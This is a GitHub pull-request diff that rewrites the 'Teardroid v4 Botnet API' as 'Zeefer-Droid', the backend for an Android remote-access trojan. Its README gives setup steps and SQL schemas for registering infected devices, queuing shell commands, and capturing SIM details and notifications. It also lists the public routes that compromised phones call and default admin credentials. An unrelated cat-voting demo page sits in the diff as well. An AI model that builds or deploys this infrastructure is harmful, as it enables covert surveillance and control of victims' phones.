Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
33 commits
Select commit Hold shift + click to select a range
8a131c2
Update README.md
zerox90x90 Jul 12, 2022
022e824
updating title
zerox90x90 Nov 11, 2022
5b68cf9
Update README.md
krisdowis Nov 21, 2022
111655e
Merge pull request #1 from krisdowis/patch-1
zerox90x90 Nov 21, 2022
48afcf2
Update README.md
zerox90x90 Dec 17, 2022
ab94f54
Update README.md
zerox90x90 Dec 17, 2022
1651f57
added geo fencing
zerox90x90 Jan 4, 2023
4abfed8
old_code
zerox90x90 Jan 4, 2023
f5f36e0
check useragent
zerox90x90 Jan 4, 2023
ab960a0
update main
zerox90x90 Jan 5, 2023
30ff1f2
Merge pull request #3 from ScRiPt1337/deta_anti_delete
zerox90x90 Jan 5, 2023
6a7e69a
update reasdme.md
zerox90x90 Jan 5, 2023
ea864b1
Update README.md
zerox90x90 Jan 6, 2023
26a4634
Update README.md
zerox90x90 Jan 24, 2023
c3fd30e
Update README.md
zerox90x90 Jan 24, 2023
69dd976
Update README.md
zerox90x90 Jan 25, 2023
a7c5838
Update README.md
zerox90x90 Feb 27, 2023
67b65ec
Update readme.md
zerox90x90 Mar 4, 2023
93f8a9a
few changes
zerox90x90 Apr 28, 2023
9ee79f9
updating the panel
zerox90x90 Apr 30, 2023
5c2ee84
update readme.md
zerox90x90 Apr 30, 2023
258e595
Update readme.md
zerox90x90 Apr 30, 2023
b9fb1e3
Update setup.py
zerox90x90 May 1, 2023
2761e29
fix internal error in deta.space
zerox90x90 Jul 30, 2023
8ddeead
fix setup.py
zerox90x90 Jul 30, 2023
0c64477
add ignore
zerox90x90 Sep 28, 2023
b0476a4
update deployment
zerox90x90 Sep 28, 2023
41defd9
Add Supabase environment variables template
ZEEFAST Jun 13, 2026
b9f88d9
Update requirements: Replace Deta with Supabase
ZEEFAST Jun 13, 2026
a61ba7b
Migrate from Deta to Supabase database
ZEEFAST Jun 13, 2026
27b78c2
Complete Zeefer-Droid API rewrite with Supabase integration
ZEEFAST Jun 13, 2026
d4fd3e1
Complete Zeefer-Droid API: All routers and files updated for Supabase
ZEEFAST Jun 13, 2026
f315991
Merge branch 'main' into ZEE-DROID
ZEEFAST Jun 13, 2026
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Binary file added .DS_Store
Binary file not shown.
11 changes: 11 additions & 0 deletions .env.example
Original file line number Diff line number Diff line change
@@ -0,0 +1,11 @@
# Supabase Configuration
SUPABASE_URL=https://your-project.supabase.co
SUPABASE_KEY=your-anon-key

# JWT Secret (change this to a random string)
SECRET_KEY=your-super-secret-key-change-this

# App Settings
DEBUG=True
PORT=8000
HOST=0.0.0.0
13 changes: 13 additions & 0 deletions .gitignore
Original file line number Diff line number Diff line change
@@ -0,0 +1,13 @@
.env
__pycache__/
*.pyc
.DS_Store
*.egg-info/
dist/
build/
.venv/
venv/
node_modules/
.idea/
.vscode/
*.log
2 changes: 2 additions & 0 deletions .spaceignore
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
!build
!static
164 changes: 158 additions & 6 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,10 +1,162 @@
# Teardroidv4_api
Teardroid v4 Botnet API
# 🔥 Zeefer-Droid API

This api is for teardroid v4 botnet
Advanced Android Control Panel API built with FastAPI and Supabase.

Please visit https://github.com/ScRiPt1337/Teardroid-phprat to know about teardroid and how to use it
## Features

You can host it on [deta.sh](https://deta.sh/)
✅ **Authentication** - Secure JWT-based authentication
✅ **Device Management** - Register and manage Android devices
✅ **Command Execution** - Send and track commands on devices
✅ **Notifications** - Capture and manage notifications from devices
✅ **Real-time Sync** - Track device status and online/offline state

[![Deploy](https://button.deta.dev/1/svg)](https://go.deta.dev/deploy?repo=https://github.com/ScRiPt1337/Teardroidv4_api)
## Quick Start

### Prerequisites

- Python 3.9+
- Supabase Account (free)
- pip

### Installation

1. **Clone the repository**
```bash
git clone https://github.com/ZEEFAST/Teardroidv4_api
cd Teardroidv4_api
```

2. **Create virtual environment**
```bash
python3 -m venv venv
source venv/bin/activate # On Windows: venv\Scripts\activate
```

3. **Install dependencies**
```bash
pip install -r requirements.txt
```

4. **Setup Supabase**
- Go to https://supabase.com
- Create new project
- Get your URL and Anon Key from Settings > API
- Create tables using SQL below

5. **Create .env file**
```bash
cp .env.example .env
# Edit .env with your Supabase credentials
```

6. **Setup Database Tables**

Run this SQL in Supabase SQL Editor:

```sql
CREATE TABLE auth (
id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
username TEXT UNIQUE NOT NULL,
password TEXT NOT NULL,
created_at TIMESTAMP DEFAULT now()
);

CREATE TABLE client (
id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
android_version TEXT,
device_name TEXT,
sim_operator TEXT,
sim_country TEXT,
interval INTEGER DEFAULT 3000,
active BOOLEAN DEFAULT true,
last_online TIMESTAMP,
created_at TIMESTAMP DEFAULT now()
);

CREATE TABLE command (
id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
device_id UUID REFERENCES client(id),
command TEXT NOT NULL,
shell TEXT,
number TEXT,
data TEXT,
is_complete BOOLEAN DEFAULT false,
success BOOLEAN DEFAULT false,
response TEXT,
created_at TIMESTAMP DEFAULT now(),
completed_at TIMESTAMP
);

CREATE TABLE notification (
id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
device_id UUID REFERENCES client(id),
package_name TEXT,
title TEXT,
body TEXT,
read BOOLEAN DEFAULT false,
created_at TIMESTAMP DEFAULT now()
);
```

7. **Run the API**
```bash
uvicorn main:app --reload --host 127.0.0.1 --port 8000
```

Server running at: `http://localhost:8000`

## API Endpoints

### Authentication
- `POST /auth/login` - Login with credentials
- `POST /auth/change-password` - Change password

### Clients
- `POST /client/add` - Register new device
- `GET /client/` - Get all devices
- `GET /client/device/{device_id}` - Get device info
- `DELETE /client/device/{device_id}` - Delete device

### Commands
- `POST /command/send` - Send command to device
- `GET /command/device/{device_id}` - Get pending commands
- `POST /command/complete` - Mark command complete
- `GET /command/response/{command_id}` - Get command response
- `GET /command/history/{device_id}` - Get command history

### Notifications
- `POST /notification/add` - Add notification
- `GET /notification/device/{device_id}` - Get device notifications
- `GET /notification/` - Get all notifications
- `PUT /notification/mark-read/{notification_id}` - Mark as read
- `DELETE /notification/device/{device_id}` - Delete device notifications

## Default Credentials

- **Username**: admin
- **Password**: admin

⚠️ Change these immediately in production!

## Testing on Android

1. Get your computer's local IP:
- Windows: `ipconfig`
- Mac/Linux: `ifconfig`

2. On Android phone (same WiFi):
```
http://192.168.X.X:8000
```

## Documentation

API Documentation: `http://localhost:8000/docs`

## Support

For issues, create a GitHub issue.

## License

MIT License
15 changes: 15 additions & 0 deletions Spacefile
Original file line number Diff line number Diff line change
@@ -0,0 +1,15 @@
# Spacefile Docs: https://go.deta.dev/docs/spacefile/v0
v: 0
icon: static/media/images.png
micros:
- name: python-app
src: .
engine: python3.9
run: uvicorn main:app
public_routes:
- "/client/add"
- "/command/upload"
- "/command/complete"
- "/command/device/*"
- "/notification/add"

146 changes: 146 additions & 0 deletions build/new.html
Original file line number Diff line number Diff line change
@@ -0,0 +1,146 @@
<!DOCTYPE html>
<html>
<head>
<link href='https://fonts.googleapis.com/css?family=Roboto:100,300,400,500,700,900|Material+Icons' rel="stylesheet">
<link href="https://cdn.jsdelivr.net/npm/@mdi/font@5.x/css/materialdesignicons.min.css" rel="stylesheet">
<link href="https://cdn.jsdelivr.net/npm/vuetify@2.x/dist/vuetify.min.css" rel="stylesheet">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no, minimal-ui">

<script src="https://unpkg.com/axios/dist/axios.min.js"></script>
</head>
<body>
<script src="https://cdn.jsdelivr.net/npm/vue@2.x/dist/vue.js"></script>
<script src="https://cdn.jsdelivr.net/npm/vuetify@2.x/dist/vuetify.js"></script>
<div id="app">
<v-app>
<v-content>
<v-container>

<v-layout >

<v-flex xs12 sm6 md3>
<v-text-field
label="sub_id"
placeholder=""
v-model="sub_id"
></v-text-field>
</v-flex>

<v-btn color="green" large @click="voteUp" >
<v-icon>thumb_up</v-icon>&nbsp; Love it</v-btn>
<v-btn color="red" large @click="voteDown" >
<v-icon>thumb_down</v-icon>&nbsp; Nope it</v-btn>

</v-layout>

<v-layout row wrap>
<v-flex xs12 >
<v-card flat tile class="d-flex">
<v-img :src="image.url" aspect-ratio="1">
</v-img>
</v-card>
</v-flex>
</v-layout>


<v-layout row wrap>
<v-flex xs12 >
<v-data-table
:headers="headers"
:items="votes"
class="elevation-1"
>
<template slot="items" slot-scope="props">
<td>{{ props.item.created_at }}</td>
<td class="text-xs-left">{{ props.item.image_id }}</td>
<td class="text-xs-left">{{ props.item.value }}</td>
<td>{{ props.item.sub_id }}</td>
<td>{{ props.item.country_code }}</td>
</template>
</v-data-table>

</v-flex>
</v-layout>
</v-container>
</v-content>
</v-app>
</div>

<script>
new Vue({
el: '#app',
vuetify: new Vuetify(),
data: {
sub_id: "User-123",
image:{},
votes:[],
headers: [
{ text: 'date' },
{ text: 'image_id' },
{ text: 'value' },
{ text: 'sub_id' },
{ text: 'country' }
],
},
created(){
this.getImage();
this.getVotes();
} ,
methods:{
async getImage()
{
try{
axios.defaults.headers.common['x-api-key'] = "DEMO-API-KEY" // Replace this with your API Key, as it's set to defaults it will be used from now onwards

let response = await axios.get('https://api.thecatapi.com/v1/images/search', { params: { limit:1, size:"full" } } ) // Ask for 1 Image, at full resolution

this.image = response.data[0] // the response is an Array, so just use the first item as the Image

console.log("-- Image from TheCatAPI.com")
console.log("id:", this.image.id)
console.log("url:", this.image.url)

}catch(err){
console.log(err)
}
},
async voteUp(){
let body = {
image_id: this.image.id,
sub_id: this.sub_id,
value: 1 // Voting up (you like it) so send 1
}
let response = await axios.post('https://api.thecatapi.com/v1/votes', body ) // Send the body to create a Vote in your Account

await this.getImage();
await this.getVotes();
},
async voteDown(){

let body = {
image_id: this.image.id,
sub_id: this.sub_id,
value: 0 // Voting down (you don't like) so send 0
}
let response = await axios.post('https://api.thecatapi.com/v1/votes', body ) // Send the body to create a Vote in your Account

await this.getImage();
await this.getVotes();
},
async getVotes()
{

let response = await axios.get('https://api.thecatapi.com/v1/votes', { params: { order:"DESC", limit:25 } } ) // Get the last 25 votes

response.data.forEach(element => {
//element.created_at = new Date(element.created_at).toString();// full time string including timezone
element.created_at = new Date(element.created_at).toJSON().slice(0,10)// just use the date for now
});

this.votes = response.data;
}
}
})
</script>
</body>
</html>
1 change: 1 addition & 0 deletions db/__init__.py
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
# Database package
Binary file modified db/__pycache__/database.cpython-310.pyc
Binary file not shown.
Binary file added db/__pycache__/database.cpython-311.pyc
Binary file not shown.
Loading